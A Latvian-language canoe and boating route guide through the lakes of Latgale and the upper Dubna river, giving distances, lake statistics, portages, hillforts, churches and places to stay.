Pēc Sauleskalna apskates sēžamies laivās un dodamies atpakaļ. Cenšamies virzīties tuvāk kreisajam krastam, jo apmēram pēc 2,2 km būs caurtece, kas savienos Drīdzi ar Ota ezeru. Sasniedzot šo caurteci, kopumā būsim veikuši 11,3 km. Patiesībā šī nav vienkārši caurtece, bet gan kanāls. Kanāls tika izrakts 20. gs. 20-tajos gados, un tas Drīdza ezera līmeni pazemināja par 0,5 m. Pastāvot augstam ūdenslīmenim, Drīdza ūdeņi plūst uz Ota ezeru, un arī ar laivām šo kanālu nav problēmu izbraukt. Grūtāk varētu būt vasarās zema ūdens līmeņa apstākļos. Kanāla garums ir apmēram 250 m, un Ota ezera galā tas ir samērā stipri aizaudzis ar niedrēm. Izbraukuši kanālu, nonākam Ota ezerā.

Ota (Ata) ezera platība ir 120 ha, kopā ar četrām salām – 124 ha. Ezera vidējais dziļums ir 2,4 m, bet maksimālais sasniedz 7,4 m. Garums R-A virzienā ir 1,9 km, bet lielākais platums sasniedz 1,1 km. Ezeram ir sezonāla ūdens pieplūde pa kanālu no Drīdza, kā arī no meliorācijas grāvjiem. Eitrofs ezers. Uzkrājoties dūņām, ezera dziļums kopš 50-tajiem gadiem samazinājies apmēram par 1 m. Tādēļ šeit ir lielāka zivju bagātība nekā blakus esošajā Drīdzī.

Iebraukuši Ota ezerā, turam kursu pa kreisi. Apbraukuši pussalu, priekšā ieraudzīsim apmēram 100 m platu šaurumu, kuru veido divas pussalas gan no R, gan A puses. Mums jādodas uz šo šaurumu. Sasnieguši šaurumu, maršrutā būsim veikuši 12,3 km.

 

Izbraukuši šaurumu, turamies gar kreiso krastu un apmēram pēc 700 m nonāksim pie upītes, kas Ota ezeru savieno ar Ārdavu. Atšķirībā no kanāla, kas savieno Ota ezeru ar Drīdzi, šī upīte ir dabiskas izcelsmes. Arī šīs upītes izbraukšana grūtības nesagādā un apmēram pēc 300 m sasniedzam Ārdavu. Esam veikuši 13,3 km.

Ārdavs (nesajaukt ar Ārdavas ezeru Preiļu novada Pelēču pagastā) ir viens no gleznainākajiem ezeriem mūsu maršrutā. Tā krasta līnija ir ļoti līkumota, ar daudziem līcīšiem un pussalām. Krasta līnijas garums ir 18,8 km. Tas veido tādu kā pusloku ap Sauleskalnu. Ezera platība ir 229 ha, ar salām – 230 ha, garums puslokā pa ass līniju ir 4 km, bet platums A daļā sasniedz 1,2 km. Vidējais dziļums ir 4,6 m, bet lielākais dziļums sasniedz 14,0 m. Dziļākās vietas ezeram ir R (14,0 m) un DR (12,0 m).

Iebraukuši Ārdavā, pa labi redzam ezera lielāko salu, kas izvietojusies starp A esošo pussalu un R esošo krastu. Apmēram pēc 500 m esam sasnieguši šaurumu, kas atdala pussalu no salas. Pussala ir kā šaura mēle, kas iestiepjas ezerā. Šeit ir ērti piestāt, tāpat šī ir laba vieta nometnes ierīkošanai. Pabraukājot ap salu un gar līcīšiem, dažs labs ūdenstūrists ar spiningu ir guvis gluži labus līdaku lomus. Līdz šai pussalai esam veikuši 13,8 km.

Tālāk mūsu maršruts ved taisni uz Z, uz Dubnas ieteku Ārdavā. Ja jau esam tik tuvu, tad grēks būtu neapraudzīt Latvijas devīto lielāko ezeru Siveru un neuzkāpt ainaviski iespadīgajā, 25m augstajā Brāslavas pilskalnā. Lai to izdarītu, mums jāatrod Dubnas ieteka. Mūsu virziens ir tikai taisni, uz priekšā redzamo ezera galu. Apmēram pēc 1,6 km esam sasnieguši šauru pussalu, kas atrodas A krastā. Apliekuši šo pussalu, faktiski esam iekļuvuši Dubnas deltā. Virzoties uz priekšu, delta kļūst šaurāka un kļūst par upi. Lai arī iznāk virzīties pret straumi, tomēr grūtības tas nesagādā, un pēc 900 m sasniedzam Sivera ezeru. Kopumā maršrutā esam veikuši 16,3 km.

Krastā redzama pirts, bet augstāk – dzīvojamā māja. Šeit ir ērti piestāt ar laivām un izkāpt krastā. Priekšā, ezera krastā, ir Brāslavas pilskalns. Uz pilskalna nav apaugums, līdz ar to no pilskalna virsotnes paveras fantastiskas panorāmas uz Sivera ezeru un Latgales augstieni. Pilskalna virsotnē vietējie iedzīvotāji svin Jāņus, un šeit ir Jāņuguns vieta.

Izpriecājušies par skaistajām ainavām, pa Dubnas upi dodamies atpakaļ uz Ārdava ezeru. Atkal nokļūstot Ārdavā, gar labo krastu dodamies R virzienā uz aizaugušo Ploteņu ezeru. Te nu atkal kartogrāfu un ģeogrāfu domas dalās – vai Ploteņš ir atsevišķs ezers vai tikai Ārdava līcis? Lai vai kā, jaunākajos kartogrāfijas materiālos parādās Ploteņš, un uzskatīsim to kā atsevišķu ezeru, lai gan tad, kad mēs tajā iebrauksim, tad redzēsim, ka apkārt ir niedres un ūdensaugi, kuru vidū ir dažus metrus plata, brīva ūdens josla, kas pēc 800 m kļūst par Dubnas upi. Nobraukuši vēl apmēram 450 m, nonākam pie Kombuļu-Aulejas ceļa tilta. Kopumā maršrutā esam veikuši 20 km.

Aiz tilta pa Dubnas upi vēl nākas veikt 750 m, un tad mēs nokļūstam Leja ezerā. Pie Dubnas ietekas ezerā ir jauka atpūtas vieta, kuru apsaimnieko 350 m tālāk esošā viesu nama „Lejasmalas” saimnieki. Ar saimniekiem var arī sarunāt nakšņošanas vietu. Te atradīsies vieta gan teltīm, gan varēs pārgulēt arī telpās. Par telpām gan būtu iepriekš jāvienojas.

Lejs vai Lejas ezers izvietojies līkumainā subglaciālā iegultnē starp Ārdavu un Cārmina ezeru. Ezerdobei ir plata D daļa (no Dubnas nokļūstot ezerā, tā paliek pa kreisi no mums) un ķīļveidīgs sašaurinājums uz ZR (šajā virzienā mums arī ir jāturpina maršruts). Ezerā ir trīs dziļumi – 30,7 m D daļā, 34 m iepretī A krastam, tā arī ir ezera dziļākā vieta, un 15 m DA galā. Vidējais dziļums ir 8,2 m. Lejs ir desmitais dziļākais ezers Latvijā. Ezera platība ir 177 ha, kopā ar salām – 178 ha.

Vietā, kur ezera platākā D daļa pāriet šaurākajā ZR daļā, ir divas salas, kuras var apbraukt gan pa A, gan R pusi. Mēs turpinām maršrutu ZR virzienā – ezers kļūst arvien šaurāks, līdz šauruma galā nonākam pie Dubnas upes iztekas un ietekas Cārmina ezerā. Šeit ir arī tilts. Maršrutā esam veikuši 22,4 km.

Cārmins (Cārmans) ir nākošais ezers mūsu maršrutā. Tā platība ir 222 ha, kopā ar vienīgo salu 224 ha. Ezera garums sasniedz 5,6 km ,bet platums 0,6 km. Vidējais dziļums ir 9,3 m, bet lielākais – 30,6 m. Arī Cārmins ir viens no gleznainākajiem dziļajiem un lielajiem ezeriem Dagdas paugurainē. Subglaciālas izcelsmes ezers, iegultne izlocīta ZR-DA virzienā. Krasti ir stāvi un apauguši, tādēļ sevišķi skaistas ainavas ir vērojamas pavasarī un skaistās rudens dienās. Ezerā ir daudz līču un šaurumu. Ezera dziļākā daļa atrodas Z daļā. Uzreiz aiz ezera vienīgajām salām kreisajā pusē iztek Dubna. Atsevišķos materiālos tiek uzskatīts, ka šī ir īstā Dubnas izteka, bet, kā jau tas bieži gadās, domas par upju iztekām dalās. Lai aizsargātu skaistās ainavas un mazlēpju dzimtas augus, Cārmina krastos 2004. gadā tika izveidots „Cārmaņa ezera dabas parks”, kura platība ir 529 ha.

Iebraucot Cārminā, sākotnēji virzāmies gar kreiso krastu R virzienā. Pamazām maršruts pagriežas Z virzienā. Priekšā redzamas divas salas, aiz kurām atrodas augstāk minētā Dubnas izteka. Virzoties Z virzienā, ezers kļūst arvien šaurāks, un, nobraukuši apmēram 2,5 km no Dubnas ietekas Cārminā, sasniedzam ezera šaurāko vietu. Šeit A krastu no R krasta atdala ne vairāk kā 50 m. Kopumā maršrutā esam veikuši apmēram 25 km.

Šķērsojuši šaurumu, atkal iepeldam plašākos ūdeņos, bet šeit mums jāturas ZA virzienā un jāapbrauc pussala kreisajā krastā. Aiz pussalas jāuzņem ZR virziens. Šī ir arī Cārmina platākā daļa. Priekšā kreisajā krastā apmēram pēc 1km atkal ir redzama pussala, to apbraukuši, turamies R virzienā uz krastā redzamo baznīcu. Tā ir Raģeļu katoļu baznīca, blakus tai ir Raģeļu pilskalns. Šajā vietā Cārmina ezera krasts ir vistuvāk Grāveru – Jaunokras ceļam, un te ir laba piestātnes vieta, kur ir ērti izkāpt. Te nu nāksies laivas pārnest pāri ceļam uz Jazinka ezeru. Jānes būs kādi 200 m. Nelielas neērtības sagādās tas, ka Jazinka ezera krasts šajā vietā ir aizaudzis un nedaudz pārpurvojies. Kopumā maršrutā esam veikuši apmēram 28 km.

Pie reizes var apskatīt Raģeļu katoļu baznīcu. Pirmā koka baznīca ir celta 1780. gadā. Pēc pirmā pasaules kara tai uzlika tornīti un iekāra zvanu. 1941. gadā koka baznīca nodega, bet dievnamu ierīkoja blakus esošajā nespējnieku namā. Jauno mūra baznīcu iesvētīja 1956. gada 30. septembrī.

Aiz baznīcas ir kapsēta. Daļēji kapsēta ir izveidota uz bijušā Raģeļu pilskalna.

Priekšā mums ir pēdējais ezers, kurš maršrutā mums ir jāšķērso – Jazinks. Tā garums ir 4,2 km, bet platums – 1,7 km. Ezera platība sasniedz 260 ha. Vidējais dziļums ir 8,1 m, bet lielākais dziļums sasniedz 33 m. Jazinks ir divpadsmitais dziļākais ezers Latvijā. Ezera DR krastā atrodas Grāveru ciems, kura notekūdeņi piesārņo ezera ūdeņus, līdz ar to 60-tajos gados ezers no mezotrofa kļuvis par eitrofu, un tā aizaugums ir 13%. Sevišķi tas ir jūtams ezera galos.

Nobraucot pa ezeru nepilnu kilometru, kreisajā krastā ieraugām Grāveru ciemu. Ciems ir izvietojies šaurā joslā starp Aglonas – Krāslavas šoseju un ezera krastu gandrīz 2 km garumā. Sākumā pirmos 1,7 km veicam pa ezera šaurāko daļu. Aiz raga, kas ezerā iestiepjas no kreisā krasta, sākas ezera plašākie ūdeņi. No šejienes jau ir redzama ezera vienīgā sala, kas atrodas ezera vidū, tā platākajā daļā. Līdz salai vēl ir jānobrauc apmēram 1,5 km.

Aiz salas turpinām maršrutu tikai taisni uz ezera ZR galu. Tomēr līdz pašam galam nebraucam. Netālu pirms Jazinka ZR gala pa kreisi ir līcītis ar krastā ierīkotu atpūtas vietu. Šeit ir ērti piestāt. Esam sasnieguši mūsu ceļojuma finiša vietu! Kopumā esam pieveikuši 32,3 km un šķērsojuši vai pabijuši 8 ezeros (ieskaitot Ploteņu).

Tomēr ceļojums nebūs pilnīgs, ja neapskatīsim vienu no savdabīgākajiem un noslēpumainākajiem Latvijas ezeriem – Velnezeru (Čertoks, Čortoks, Čertaks). Velnezers no mūsu finiša vietas atrodas apmēram 250m DR virzienā. Lai nekļūdītos, var doties pa meža ceļu, kas iet gar Jazinka krastu.

Velnezers ir sufozijas izcelsmes ezers. Tam ir raksturīga piltuvveida ieplaka. Ezera platība ir tikai 1,1 ha, bet dziļums sasniedz 18,3 m! Ūdenī ir neliels sāļu daudzums, tāpēc tajā ir maz ūdensaugu un ūdensdzīvnieku.

Velnezers ir viens no dzidrākajiem Latvijas ezeriem, kas piesaista ar savu savdabīgo zilganzaļo ūdens krāsu, lielo caurredzamību un dīvainajiem nostāstiem, kas kopš sendienām apvijuši nelielo ezeriņu. Ūdens caurredzamība ezerā ir 12 m (pēc citiem datiem – 8 m). Krāsa gan mainoties – ūdens var pieņemt visas varavīksnes krāsas. Šo neparasto īpašību var skaidrot ar to, ka ezera ūdens ir ļoti dzidrs, tam nav noteces un tam ir stāvas krasta nogāzes. Ja krasti būtu lēzeni, ūdens skaisto krāsu būtu grūtāk ievērot un novērtēt.

1977. gadā 55 ha platībā ap Velnezeru izveidots „Čortoka ezera dabas liegums”. Ezera krastos aug vairākas reto augu sugas – smiltāju neļķe, meža silpurene, Baltijas dzegušpirkstīte un smaržīgā naktsvijole.

Ezeru un liegumu apsaimnieko AS „Latvijas valsts meži”, kuri sadarbībā ar Daugavpils universitāti šeit izveidojuši ērtu apskates taku.

Nobeigumā atgādinājums – ezerā nedrīkst peldēties, lai neveicinātu tā aizaugšanu un neparastās krāsas zudumu!

Aprakstīto posmu nesteidzoties var veikt divās dienās. Sportiskāki ūdenstūristi to var veikt arī vienā dienā.

Dubnas augštece no Sivera ezera līdz Luknas ezeram

„Dubnas augštece no Sivera ezera līdz Luknas ezeram – 50 km”

Dubna ir Latgales garākā upe. Tā savu tecējumu sāk un beidz Latgalē. Dubna iztek no Latvijas devītā lielākā ezera Sivera. Lai arī atsevišķos materiālos par Dubnas izteku tiek uzskatīts Cārmina ezers, tomēr mēs atbalstām uzskatu, ka Dubna iztek no Sivera. Arī vietējie iedzīvotāji upīti, kas savieno Siveru ar Ārdavu un Ārdavu (Ploteņu) ar Lejas ezeru sauc par Dubnu.

Dubna ir Daugavas vidusteces labā pieteka un tā ir Daugavas otra garākā pieteka Latvijas teritorijā. Garāka vēl tikai ir Ogre -188 km. Dubnas garums 120 km, kritums 76 m, baseina platība 2780 km2, vidējais caurplūdums grīvā: gadā 16,7 m3/s, palos 112 m3/s. Tūrismam izmantojama visu sezonu no Višķu ezera, bet zemā ūdens līmenī var būt problemātiska pārvietošanās no iztekas līdz ietekai Višķu ezerā. Augštecē līdz Višķu ezeram jārēķinās ar biežiem sakritušu koku šķēršļiem un sekla ūdens posmiem. Ceļu aizšķērsos arī mazās hidroelektrostacijas, kas šajā posmā ir vesalas četras, divi dzirnavu aizsprosti. un viens ceļa uzbērums.

Augštecē, plūstot caur Latgales augstieni, Dubna ir strauja, tur krāces mijas ar lēnākiem posmiem. Lai gan precīzāk būtu teikt bija strauja, jo upes skaistākie un straujākie posmi pēc 2000. gada tika appludināti uzceļot mazās hidroelektrostacijas. Pirms to uzcelšanas šeit bija saglabājušās ūdensdzirnavu drupas un atliekas no aizsprostiem, kuru vietās pārsvarā arī tika minētās hidroelektrostacijas uzbūvētas. Šeit, neappludinātajos upes posmos, tās platums sasniedz apmēram 10-15 m.

Aiz Višķu un Luknas ezeriem Dubna jau tek pa Jersikas līdzenumu. Te upe kļūst platāka un dziļāka. Platums sasniedz 15-20 m. Šeit krasti ir zemi, tādēļ senāk upei pieguļošās pļavas un aramzemes pavasaros applūda. Jau 30. gados Latvijas valdība finansēja vienu no lielākajiem tā laika meliorācijas pasākumiem un regulēja upes posmu 61,6 km garumā. Padomju laikos Pelēču pagastā izveidoja 614 ha lielu polderi ar sūkņu staciju un 2,3 km garu aizsargdambi. Jātzīmē gan, ka pašlaik šā poldera platība sāk aizaugt ar krūmiem un nosusināšanas sistēmas sāk sabrukt. Melioratīvo pasākumu rezultātā Dubnas krastos ir daudz vecupju, sevišķi posmā no Špoģu – Preiļu ceļa tilta līdz Arendolei un Vecvārkavai (Upmalai). Lielākās labā krasta pietekas ir Feimanka, Oša, Jaša, Šusta, Divkle un Egļupe, bet kreisā krasta-Kalupe, Malnaviņa, Kucupe un Bērzupe. Labā krasta pietekas ir daudz garākas nekā kreisā, jo kreisā krasta upes pa tiešo ietek Daugavā. Labā krasta garākā pieteka Feimanka (72 km) ir vairāk kā divas reizes garāka nekā garākā kreisā krasta pieteka Kalupe (32 km).

Augštecē Dubna bieži plūst caur mežu. Lielākais mežu masīvs ko šajā posmā Dubna šķērso ir no Staškevičiem līdz Lauku Ļāperiem

Savukārt Dubnas apkārtne visā posmā no Špoģiem līdz Līvāniem ir lauksaimnieciski izmantojama un meža masīvi tieši tās krastos nepieguļ. Parasti paši krasti ir apauguši ar krūmiem – kārkliem, vītoliem, alkšņiem, ievām u.c. Tikai Arendolē pie pašas upes piekļaujas skaistais Arendoles muižas parks ar simtgadīgiem kokiem.

Aiz Rožupes Dubna kļūst platāka un tās platums vidēji sasniedz 20-25 m. Tas saistīts ar to, ka šeit īsā posmā Dubnā ietek tās divas lielākās pietekas-Oša un Feimanka. Pie Rožupes ir hidropostenis, kur tiek veikti hidroghrāfiskie mērījumi. Tā kā vasarās Dubna stipri aizaug, sevišķi aiz Rožupes, tad 2009. gadā šo upes posmu padziļināja. Padziļināšanas mērķis bija veicināt ūdens straujāku caurplūdumu ar cerību, ka tas samazinās upes aizaugšanu ar ūdenszālēm. Pirms Līvāniem Dubnā parādās vairākas nelielas saliņas pie kurām pavasaros veidojas ledus sastrēgumi. Pašos Līvānos 2001. gadā tika atjaunota Straumes HES. Aiz HES, pirms ietekas Daugavā Dubna veido samērā platu sazarotu deltu, kas strauji pagriežas no R virziena Z virzienā. Tālāk Dubnas auģšteces sīkāks maršruta apraksts. Ar maršruta turpinājumu no Špoģiem līdz Līvāniem var iepazīties maršruta aprakstā „Dubna no Špoģiem līdz Līvāniem”.

Maršrutu sākam pie Dubnas iztekas no Sivera ezera. Lai tur nokļūtu jābrauc līdz Kombuļiem un tad jānogriežas uz Kombuļu-Aulejas ceļa un apmēram pēc 7 km šķērsosim tiltu pār Dubnu. Aiz tilta pirmajā pagriezienā pie ceļa norādes uz Vanagiem nogriežamies pa labi un pēc 1,5 km atkal nogriežamies pa labi un nonākam ezera krastā. Pa kreisi redzamais uzkalns ir Brāslavas pilskalns. Nokļūšanu ezera krastā būtu nepieciešams saskaņot ar zemes īpašnieku tuvējā mājā

Pirms sēžamies laivās, noteikti būtu jāuzkāpj Brāslavas pilskalnā. No pilskalna virsotnes paveras fantastiskas panorāmas uz Sivera ezeru un Latgales augstieni. Pilskalna virsotnē vietējie iedzīvotāji svin Jāņus un šeit ir Jāņuguns vieta. Nu varam uzsākt maršrutu.

Pa Dubnas upi dodamies uz Ārdava ezeru. Nokļūstot Ārdavā, gar labo krastu dodamies R virzienā uz aizaugušo Ploteņu ezeru. Te kartogrāfu un ģeogrāfu domas dalās–vai Ploteņš ir atsevišķs ezers vai tikai Ārdava līcis? Lai vai kā jaunākajos kartogrāfijas materiālos parādās Ploteņš un uzskatīsim to kā atsevišķu ezeru, lai gan tad, kad mēs tajā iebrauksim, tad redzēsim, ka apkārt ir niedres un ūdensaugi, kuru vidū ir dažus metrus plata brīva ūdens josla, kas pēc 800 m kļūst pa Dubnas upi. Nobraukuši vēl apmēram 450 m nonākam pie Kombuļu-Aulejas ceļa tilta. Kopumā maršrutā esam veikuši 3,7 km.

Aiz tilta mums pa Dubnas upi vēl nākas veikt 750 m un tad mēs nokļūstam Leja ezerā. Pie Dubnas ietekas ezerā ir jauka atpūtas vieta, kuru apsaimnieko 350 m tālāk esošā viesu nama „Lejasmalas” saimnieki.

Lejs vai Lejas ezers izvietojies līkumainā subglaciālā iegultnē starp Ārdavu un Cārmina ezeru. Ezerdobei ir plata D daļa ( no Dubnas nokļūstot ezerā tā paliek pa kreisi no mums) un ķīļveidīgs sašaurinājums uz ZR (šajā virzienā mums arī ir jāturpina maršruts). Ezerā ir trīs dziļumi – 30,7 m D daļā, 34 m iepretī A krastam, tā arī ir ezera dziļākā vieta, un 15 m DA galā. Vidējais dziļums ir 8,2 m. Lejs ir desmitais dziļākais ezers Latvijā. Ezera platība ir 177 ha, kopā ar salām 178 ha.

Vietā, kur ezera platākā D daļa pāriet šaurākajā ZR daļā ir divas salas, kuras var apbraukt gan pa A, gan R pusi. Mēs turpinām maršrutu ZR virzienā – ezers kļūst arvien šaurāks, līdz šauruma galā nonākam pie Dubnas upes iztekas un ietekas Cārmina ezerā. Šeit ir arī tilts. Maršrutā esam veikuši 6,1 km.

Cārmins (Cārmans) ir nākošais ezers mūsu maršrutā. Tā platība ir 222 ha, kopā ar vienīgo salu 224 ha. Ezera garums sasniedz 5,6 km ,bet platums 0,6 km. Vidējais dziļums ir 9,3 m, bet lielākais – 30,6 m. Cārmins ir viens no gleznainākiem dziļajiem un lielajiem ezeriem Dagdas paugurainē. Subglaciālas izcelsmes ezers, iegultne izlocīta ZR-DA virzienā. Krasti ir stāvi un apauguši, tādēļ sevišķi skaistas ainavas ir vērojamas pavasarī un skaistās rudens dienās. Ezerā ir daudz līču un šaurumu. Ezera dziļākā daļa atrodas Z daļā. Uzreiz aiz ezera divām vienīgajām salām, kreisajā pusē iztek Dubna. Atsevišķos materiālos tiek uzskatīts, ka šī ir īstā Dubnas izteka, bet kā jau tas bieži gadās, domas par upju iztekām dalās. Lai aizsargātu skaistās ainavas un mazlēpju dzimtas augus, Cārmina krastos 2004. gadā tika izveidots „Cārmaņa ezera dabas parks”, kura platība ir 529 ha.

Iebraucot Cārminā sākotnēji virzāmies gar kreiso krastu R virzienā. Pamazām maršruts pagriežas Z virzienā. Priekšā redzamas divas saliņas aiz kurām atrodas augstāk minētā Dubnas izteka. Pēc 1,7 km sasniedzam Dubnas izteku. Izteka paslēpusies krūmos iepretīm mazākajai salai, kas atrodas vairāk uz Z.

Pēc 450 m sasniedzam Zosna ezera deltas līci, kas vasarās parasti aizaug. Vēl pēc 400 m iebraucam Zosna ezerā. Zosna ezera platība ir 18 ha, vidējais dziļums 2.0 m, bet lielākais dziļums sasniedz 3.0 m. Te turamies gar kreiso krastu, jo Dubnas izteka ir ezera R. Pēc nepilniem 0,6 km esam pie tiltiņa atliekām. Kādreiz te ir bijis gājēju tiltiņš, bet tagad palikuši tikai atsevišķi koka stabi pāri kuriem bijusi laipa. Zema ūdens laikā šī vieta tiek izmantota kā brasls. Upes gultne te ir salīdzinoši plata vietām pat vairāk nekā 30 m, bet aizaugusi ar niedrēm un citiem ūdensaugiem. Aiz tiltiņa atliekām apmēram pēc 500 m upē ir ievietotas trīs caurtekas un pār tām uzbērts uzbērums pār kuru tiek izvesta grants no karjera, kuru mēs redzam kreisajā krastā. Karjers tika izveidots 2010. gadā. Šeit nāksies laivas vilkt pāri šim uzbērumam. Drīz aiz uzbēruma upe pietuvojas Krāslavas-Aglonas šosejai. Šajā vietā upe strauji pagriežas uz D un turpina plūst paralēli šosejai. Pēc 1,0 km sasniedzam Sakovas dzirnavezeru un tiltiņu pār aizsprostu kas savieno Aizupes ar Krāslavas-Aglonas šoseju. Arī šeit laivas ap aizsprostu vajadzēs pārnest. Pēc 0,3 km sasniedzam šīs šosejas tiltu pār Dubnu. Kopumā maršrutā esam veikuši 9,4 km.

Aiz tilta pēc 290 m iepeldam Sakovas ezerā. Sakovas ezera platība ir 22 ha, tā vidējais dziļums ir 1.8 m, bet lielākais 2.0m. Sakovas ezerā turamies tuvāk Z krastam, jo Dubnas izteka atrodas ezera ZR daļā, vietā, kur tuvu krastam redzamas mājas. Apmēram ezera vidū pa kreisi no mums redzama ezera vienīgā sala.

Šķērsojot ezeru tālāk Dubna pārsvarā līkumo pa mežu līdz pēc 2,3 km sasniedzam Kovaļovas dzirnavu dīķi. Pa uzpludinājumu nopeldam vēl 260 m un sasniedzam dzirnavu aizsprostu. Te nāksies laivas pārnest. Izkāpjot krastā apmēram pēc 150 metriem ir redzams zilzaļais Kovaļovas vecticībnieku lūgšanu nams. Pie reizes varam aiziet to aplūkot. Dievnams ir celts 1861. gadā. Te ir iespējams pieteikt ekskursiju ar stāstījumu par vecticībnieku tradīcijām un ikonu glezniecību, taču apmeklējuma laikā jāievēro vecticībnieku paražas-sievietēm lakats un gari svārki, vīriešiem garās bikses. Ekskursija jāpiesaka pa telefonu 65646278.

Pēc dievnama apskates sēžamies laivās un turpinām maršrutu. Lai arī pa taisno līdz Šķeltovas-Grāveru ceļa tiltam pār Dubnu ir apmēram 300m, pa upi šis attālums sasniedz gandrīz kilometru-980 m. Pie šī tilta maršrutā esam veikuši 13,3 km.

Turpmākos 3 km Dubna līkumo pa krūmiem aizaugušām pļavām paralēli Šķeltovas-Grāveru ceļam. Vidējais attālums no upes līdz ceļam ir 150-350 m. Pēc 3 km upe ietek Aksenovas ezerā. Aksenovas ezers ar savām sešām salām ir viens no ainaviskākajiem mazajiem ezeriem mūsu ceļojumā. Atsevišķos materiālos parādās fakts, ka ezerā ir septiņas salas. Kādreiz tā varbūt arī bija, bet lielākā sala ir saplūdusi ar Z esošo mazāko salu un tagad tā praktiski ir viena sala. Aksenovas (Aksjonovas, Aņisimovas, Saviča ) ezera platība ir 1,25 km2, kopā ar salām 1,32 km2. Vidējais dziļums 3,5 m, lielākais 9,4 m. Z krasti zemi, D-stāvi, gleznaini. Krastu līnijas garums sasniedz 5,5 km. Lielākās salas platība ir 5,1 ha. Ezerdobe DR daļā 7-9,4 m dziļa, krastmala smilšaina, dziļāk dūņas.

Lai atrastu Dubnas izteku no ezera virziens jātur salām pa vidu. Iepretīm kreisās puses otrajai salai arī ir jāmeklē Dubnas izteka. Pār ezeru būsim veikuši 1,55 km un vēl pēc 300 m sasniedzam Grāveri-Aksenova-Šķeltova ceļa tiltu. Kopumā esam veikuši 18,1 km. Ja ir vēlme nedaudz izlocīt kājas, var aiziet līdz 1 km attālajai Peipiņu katoļu baznīcai. Tādā gadījumā pa ceļu jādodas D virzienā. No ceļa arī paveras skaists skats uz tikko šķērsoto Aksenovas ezeru. No baznīcas ir redzams arī Peipiņu ezers. Peipiņu draudzi nodibināja pēc Pirmā pasaules kara un par tās pirmo prāvestu iecēla Jāni Ziemeli. Lauku draudzei samērā lielais guļbūves dievnams ar diviem torņiem celts 1926. g. par draudzes locekļu līdzekļiem. 1931.g. Peipiņos prāvests Jāzeps Ļakse uzlika skārda jumtu, torņus uzcēla ar augstu smaili un apsedza ar skārdu. 1935.g. baznīcu apšuva ar dēļiem un nokrāsoja. Priesteris D.Punculis 1955. -1972.g. izņēma baļķus un to vietā iemūrēja kieģeļus, apkārt baznīcai uzlika dzelzs žogu un vārtus betona stabos. 1955.g. prāvests Staņislavs Svilāns aiz baznīcas pretī prezbitērijam uzcēla plebāniju. Baznīca nosaukta par Jaunavas Marijas – Sāpju Mātes baznīcu. 2002.gadā Peipiņu baznīca iekļauta valsts aizsargājamo kultūras pieminekļu sarakstu projektā. Baznīcā atrodas mākslas priekšmeti, kas 2001. gadā iekļauti aizsargājamo priekšmetu sarakstu projektā – baznīcas griestu lukturis, svečturi, relikvārijs.

Aiz tilta pēc 1,2 km nonākam pie Upes Kudiņu ūdens dzirnavām, kur ir labiekārtota atpūtas un telšu vieta. Apmešanās jāsaskaņo pa telefonu 29734566. Šeit aizsprosta nav un braucienu var turpināt bez laivu pārnešanas. Labajā pusē ir mājas un turpat blakus mežā atrodas Brīveru pilskalns. Pilskalnu 1941. gadā atklāja un plašāk aprakstīja A. Gusars.

Kokiem apaugušais Brīveru pilskalns ierīkots ap 15 m augstā Dubnas upes labajā krastā, kur veidojot 8 m dziļu gravu, upē ietek neliels strautiņš. Tādējādi radies zemes stūris kuram Z, A un DA ir kraujā strauta gravas nogāze, bet D un DR stāvais Dubnas upes krasts. ZR , kur nav dabisku šķēršļu, pilskalns no apkārtnes norobežots ar 45 m garu, 5 m platu un 1 m augst valni. Vaļņa priekšā strauta gravas nogāzē, iespējams vērojamas otra grāvja atliekas-pats grāvis pilskalna priekšā aizarts. Iekšpus vaļņa ir 8 m plats un 0,5 m dziļš grāvis, kas norobežo līdzenu 35×40 m lielu plakumu. Plakuma malā pret grāvi kādreiz bijis vērojams neizteikts 0,2-0,3 m augsts uzbedums, kuru mūsdienās vairs nevar saskatīt. Pilskalna plakumā konstatēts vairāk nekā 0,4 m biezs kultūrslānis, kas veidojies vieglas smilts zemē. Tajā atrastas bezripas gludo trauku lauskas, kas varētu liecināt, ka pilskalns attiecināms uz m.ē.I g.t.

Aiz Upes Kudiņu dzirnavām nopeldot 3 km sasniedzam kārtējo tiltu. Šoreiz tas ir Aglonas-Šķeltovas ceļa tilts. No maršruta sākuma esam veikuši 22,35 km.

1,3 km aiz ceļa sasniedzam Staškeviču HES ūdenskrātuvi, vēl pēc 0,5 km kreisajā pusē ir vieta, kur atzarojas Dubnas līkums. Šis līkums ir pārrakts un upes gultne iztaisnota. Iztaisnotā posma vidū ir Staškeviču HES aizsprosts. Līdz aizsprostam vēl ir 250 m, bet arī aiz aizsprosta taisnotais posms vēl turpinās 250 m. Šajā vietā no kreisās puses atkal pievienojas Dubnas dabīgā gultne. Ekstrēmāki braucēji var mēģināt apbraukt HESu pa šo veco gultni, tikai jārēķinās, ka ūdens līmenis te būs zemāks nekā iztaisnotajā posmā. Šis Dubnas līkums ir 3 km garš un kopējā maršruta garumā mēs to neierēķinām.

Aiz šīs savienojuma vietas turpmākos 7,0 km Dubna plūst caur lielāko meža masīvu un neapdzīvotāko posmu visā maršrutā. Arī kaut cik ievērojamāku ceļu tuvākajā apkārtnē nav. Daļa no šā posma Dubna ir robežupe starp Aglonas un Daugavpils novadiem. Pēc šiem 7,0 km esam nonākuši pie neliela koka tilta. Pēc ilgāka laika upes abos krastos ir redzamas mājas. Apmēram 50 m aiz tilta sasniedzam upes līkumu, kur daļa upes atkal aizplūst taisni, bet daļa pa kreisi un veido līkumu, kas pēc 520 m atkal savienojas ar taisno posmu. Taisnais posms ir 150 m garš. No šīs savienojuma vietas nobraucot apmēram 0.5 km Dubnas kreisajā krastā mežā atrodas Ļāperu pilskalns. Ļāperu pilskalnu pirmais izpētīja un aprakstīja slavenais pirmās Latvijas senatnes pētnieks Ernests Brastiņš. Viņš bija pirmais, kurš sākot ar 1922. gadu, katru vasaru apmeklēja un pētīja Latvijas pilskalnus, kā rezultātā viņš izdeva četras grāmatas par Latvijas pilskalniem. Katra grāmata bija veltīta savam Latvijas novadam un šajā novadā izpētītajiem pilskalniem. Grāmata par Latgales pilskalniem tika izdota 1928. gadā. Te ir arī apraksts par Ļāperu pilskalnu, kā arī par tālāk esošajiem Greitas kalnu un Baranovskas pilskalnu.

